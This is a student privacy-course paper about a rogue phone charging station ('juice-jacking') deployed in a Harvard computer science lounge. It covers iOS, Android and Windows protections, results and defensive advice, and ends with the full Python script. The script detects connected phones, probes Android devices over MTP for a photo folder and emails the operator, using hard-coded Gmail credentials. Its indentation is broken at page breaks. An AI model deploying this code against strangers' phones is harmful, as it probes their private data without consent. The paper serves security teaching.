Got Juice?
Juice-jacking Maxwell Dworkin Attendees

CS105: Privacy and Technology

Serena Booth

December 11, 2015

1 Abstract

Batteries are unable to keep up with smartphone usage. In response to the low battery epidemic, many social centers and shopping destinations have set up "charge stations," consisting of powered common phone charging cables. These charging stations represent a privacy threat, as most phone charging cables facilitate both a data and power connection.

2 Introduction

Because phone charging cables transmit data, smartphone OS designers and distributors have created defenses against so-called "juice jacking," wherein an assailant without authorization either retrieves data or injects malware when a user charges their phone. However, as is often the case in the world of privacy and technology, these protections against juice-jacking detract from convenience. I thus created a rogue charging station which encourages users to embrace convenience over data protection. I deployed this charging station in the second floor student lounge of Maxwell Dworkin, the Harvard Computer Science building.

3 Obstacles

Each smartphone operating system has a unique suite of protections against juice-jacking. Here, I list the main lines of defense and limitations for three such operating systems.

3.1 iOS

- As of iOS 7, Apple has enabled two major protections against juice-jacking. First, an iOS device's data connection is entirely powered down when the phone is locked. Second, on an attempted data connection, an iOS device presents a user with a prompt asking whether the user would like to 'Trust this Computer?' If a user responds, 'Don't Trust,' the data connection remains disabled; if a user responds, 'Trust,' the data connection is enabled.

- The notification asking users to 'Trust this Computer?' is flawed, and can be effectively manipulated. First, the word choice is questionable: people generally regard themselves to be trusting, so this notification toys with human psyche. Second, the meaning of "trust" is entirely opaque to a layman. Third, and most importantly, this notification is annoying. Many websites exist instructing iOS users on how to always trust in order to never view this notification again.

3.2 Android

- Android Ice Cream Sandwich and later likewise employ two major protections. Most Android handsets have their data connection disabled when the phone is locked. Android has "MTP," or media transfer protocol enabled by default; however, a passive notification is presented to an Android user when this connection is made. MTP and "PTP," an alternate transfer protocol designed for pictures, can be disabled manually.

- Android phones' default settings make them vulnerable to juice jacking. While the user is alerted when a data connection between a computer and the phone is active, the user's data has already been compromised, even if the user then disables MTP.

3.3 Windows

- Windows handsets don't have data fully disabled when the handset is locked. Rather, the response to a data request is limited until the handset is unlocked.
- In providing a partial response to a data request, Windows exposes the layout of the phone's data, even when the phone is locked. This information can be used to access a remote storage device (such as a microSD card) if used with the handset. Further, as of Windows 8, users were not able to encrypt the contents of this additional storage.

4 Materials and Methods

Juice-jacking has been exposed as a risk to smartphone data since 2011, and the above obstacles to juice-jacking have been implemented since then. In designing my rogue charging station, I wanted to see which protections would compromised for the sake of convenience.

4.1 Materials

I purchased the following materials in order to assemble the rogue charging station:

- 2x USB micro charging cables (Android + Windows devices)
- 2x USB lightning charging cables (iOS devices)
- A self-powered USB hub
- A USB splitter

- A Raspberry Pi
- A 32GB SD card

4.2 Methods

I wrote a program which sends me an email if a USB device was connected with an enabled data connection. In particular, in the case of an Android or iOS device, this meant that a user was not only charging their device from my rogue unit, but had given up their first line of defense against juice-jacking: they had unlocked their phone. In order to facilitate such interactions, I placed the charging device on a study table, hoping that users would sit at the table and thumb through their phone while connected. Likewise, I selected 3' USB cables to enable this interaction mode. If my charging station is unplugged, it will restart the usb counting script on startup. If an error occurs when running the script, the script continues. If the script is killed, it is relaunched by a helper application.

Being a miscreant, I also wanted to determine whether users of my charging station had yielded all data protections. I focused on Android users in this endeavor, as iOS uses a proprietary transfer protocol. When an Android device is connected to my charging station, I attempt to enable an MTP connection. If that connection is successful, I search the user's phone for a folder entitled "DCIM." If such a folder is found and is accessible to me, I disconnect from MTP and email myself a notification that a user has effectively given me access to all of the pictures on their phone. While I considered posting three random pictures to Twitter in response to such an event, I realized that this would overstep.

5 Results

As of December 11, 2015, 20 users have used my charging station and yielded their first line of defense. The charging station has been in use since November 30, 2015. Of the 20 users, 19 have had iPhone devices; 1 had an LG device. The LG device had MTP disabled.

6 Defense Against The Dark Arts

Simple steps can protect users from juice-jacking. I enumerate those steps here:

1. Avoid using charging stations!
2. When using a charging station, power your phone down.
3. When using a charging station, do not unlock your phone.
4. iOS users should not trust computers, except their personal machine for syncing data.
5. Android users should disable MTP and PTP unless syncing data.
6. All users should wear a "USB condom"[1] when charging their devices.

7 Conclusion

Juice-jacking has potential to compromise data security on smartphones. Photographs can be stolen, malware can be injected. In a lounge devoted to computer science students, 20 attendees have compromised the protections that their smartphone OS'es offer for the sake of powering up. Given the scale, a rogue charging station could wreak havoc in an airport.

[1] Available for $4.99 from SyncStop, `http://shop.syncstop.com/collections/buy/products/usb-condom?variant=808433739`

A Deployed Code

Thanks to `http://stackoverflow.com/questions/8110310/` and `https://drautb.github.io/2015/07/27/the-perfect-exchange-mtp-with-python/`

```
#!/usr/bin/env/ python
import datetime
import re
import subprocess

import smtplib
from email.mime.text import MIMEText

from sets import Set
import pymtp

def get_dcim_folder_id(device):
  for folder in device.get_parent_folders():
    if folder.name == "DCIM":
      print folder.folder_id
      return folder.folder_id

def getCurrentDevices():
    devices = []
    device_re = re.compile("""Bus\s+(?P<bus>\d+)\s+Device\s+
        (?P<device>\d+).+ID\s(?P<id>\w+:\w+)\s(?P<tag>.+)$""", re.I)
    df = subprocess.check_output("lsusb", shell=True)
```

```
    for i in df.split('\n'):
        if i:
            info = device_re.match(i)
            if info:
                dinfo = info.groupdict()
                dinfo['device'] = """/dev/bus/usb/%s/%s
                        """ % (dinfo.pop('bus'), dinfo.pop('device'))
                devices.append(dinfo)
    return devices

BASELINE_DEVICES = getCurrentDevices()
NUM_DEVICES = len(BASELINE_DEVICES)

print "Startup successful!"


def loop():
    global BASELINE_DEVICES, NUM_DEVICES

    devices = getCurrentDevices()

    if (len(devices) > NUM_DEVICES):
        NUM_DEVICES = len(devices)
        server = smtplib.SMTP('smtp.gmail.com',587)
        server.ehlo()
```

```
server.starttls()
server.ehlo()
server.login('jimwaldoisthebestest@gmail.com','JimWaldo!!!')

dcim_folder_id = 0
dev_out = []
for dev in devices:
    if not dev in BASELINE_DEVICES:
        dev_out.append(dev)
        try:
            # Connect to device
            device = pymtp.MTP()
            device.connect()

            dcim_folder_id = get_dcim_folder_id(device)
            print "DCIM folder id: %s" % dcim_folder_id
            device.disconnect()
        except:
            pass

if (dcim_folder_id > 0):
    msg = MIMEText(str(datetime.datetime.now()) + ' ' +
                str(dev_out) + "DCIM folder found.")
else:
    msg = MIMEText(str(datetime.datetime.now()) + ' ' +
```

```
                    str(dev_out))
        msg['Subject'] = 'New USB device connected'
        msg['From'] = 'jimwaldoisthebestest@gmail.com'
        msg['To'] = 'jimwaldoisthebestest@gmail.com'
        server.sendmail('jimwaldoisthebestest@gmail.com',
                        'jimwaldoisthebestest@gmail.com',
                        msg.as_string())
        server.close()

        f = open('log_charging_usage.txt', 'a')
        f.write(str(datetime.datetime.now()) + ' ' +
                    str(dev_out) + '\n\n')
        f.close()


    elif (len(devices) < NUM_DEVICES):
        NUM_DEVICES = len(devices)

if __name__ == "__main__":
    while 1:
        try:
            loop()
        except:
            pass
```